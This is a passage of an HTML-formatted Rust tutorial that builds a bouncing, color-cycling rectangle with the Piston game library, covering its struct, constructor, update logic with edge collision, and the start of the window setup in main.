style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;position: [&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;4&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;velocity: [&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also create a &lt;code&gt;new()&lt;/code&gt; function to create a default &lt;code&gt;ColoredRect&lt;/code&gt;. The default will start at the top left corner, a size of 100x100 pixels, with a color of (1, 0.5, 0.25, 1.0), and have a 0.3 pixel per frame velocity in both dimensions.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;impl&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ColoredRect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; new()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&amp;gt; Self&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;ColoredRect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;color: [&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.5&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.25&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;position: [&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;100.0&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;100.0&lt;/span&gt;],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;            &lt;/span&gt;velocity: [&lt;span style=&#34;color:#00f&#34;&gt;0.3&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.3&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we need to make the update routine, which will be called every frame. Colors are between 0.0 and 1.0, so we&amp;rsquo;ll simply make a method to cycle and wrap. Add this to the &lt;code&gt;impl&lt;/code&gt; block:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; update_color(color: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt;)-&amp;gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f32&lt;/span&gt; {&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;color&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;1.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;else&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;color&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.001&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now comes the big update function. It has a few responsibilities; first it should change all the colors (but not the alpha). Then, it should move the block by its velocity. It also has to check whether or not the block has hit the edge of the window, in which case it should negate the velocity. Here&amp;rsquo;s just the color updating&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; update(&amp;amp;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size: (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;))&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(self.color[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(self.color[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(self.color[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Collision check X&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Move X&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Collision check Y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Move Y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The collision check is pretty easy, but does require a little thought. Checking the left and top sides are easy; &lt;code&gt;position[0]&lt;/code&gt; and &lt;code&gt;position[1]&lt;/code&gt;, respectively, are X and Y of the top left corner of the block; if either of these is less than 0, the block should bounce. The bottom and right, however, are &lt;code&gt;position[0] + position[2]&lt;/code&gt; and &lt;code&gt;position[1] + position[3]&lt;/code&gt;; that is, the upper or left position plus the size in that dimension. These are checked against the window size, passed in as a parameter.&lt;/p&gt;&#xA;&lt;p&gt;To bounce all we have to do is &lt;code&gt;velocity[0] = -velocity[0];&lt;/code&gt; for X and similar for Y. Applying velocity is as easy as &lt;code&gt;position[0] += velocity[0]; position[1] += velocity[1];&lt;/code&gt;. Here&amp;rsquo;s the final code:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; update(&amp;amp;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size: (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;f64&lt;/span&gt;))&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(self.color[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(self.color[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.color[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Self::update_color(self.color[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// X updates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size.&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;||&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;];&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;];&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Y updates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;3&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;size.&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;||&lt;span style=&#34;color:#bbb&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&amp;lt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0.0&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;-self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;];&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;self.position[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;+=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;self.velocity[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;];&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now have to hook this up to something that will actually display it; we need a main function.&lt;/p&gt;&#xA;&lt;p&gt;First we create a &lt;code&gt;ColoredRect&lt;/code&gt; with the &lt;code&gt;new()&lt;/code&gt; function. Then, we create a new &lt;code&gt;PistonWindow&lt;/code&gt; with the builder provided by the library. The constructor takes a title and resolution (in this case 640 x 480) and the two additional functions set the window to close when the Escape key is pressed, and turn on vertical sync.&lt;/p&gt;&#xA;&lt;p&gt;A small aside: the online Piston docs are hopelessly out of date. I suggest running &lt;code&gt;cargo build&lt;/code&gt; (which will fail, but will download all the dependency packages) and then &lt;code&gt;cargo doc&lt;/code&gt;. The full, up-to-date docs will be available in &lt;code&gt;&amp;lt;project&amp;gt;/target/doc/piston-window/&lt;/code&gt;; point your favorite web browser at it and go nuts.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rs&#34; data-lang=&#34;rs&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;fn&lt;/span&gt; main()&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;rect&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;ColoredRect::new();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;window: PistonWindow&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;WindowSettings::new(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Hello Piston!&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;640&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;480&lt;/span&gt;])&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.exit_on_esc(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;true&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.vsync(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;true&lt;/span&gt;)&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;.build().unwrap();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    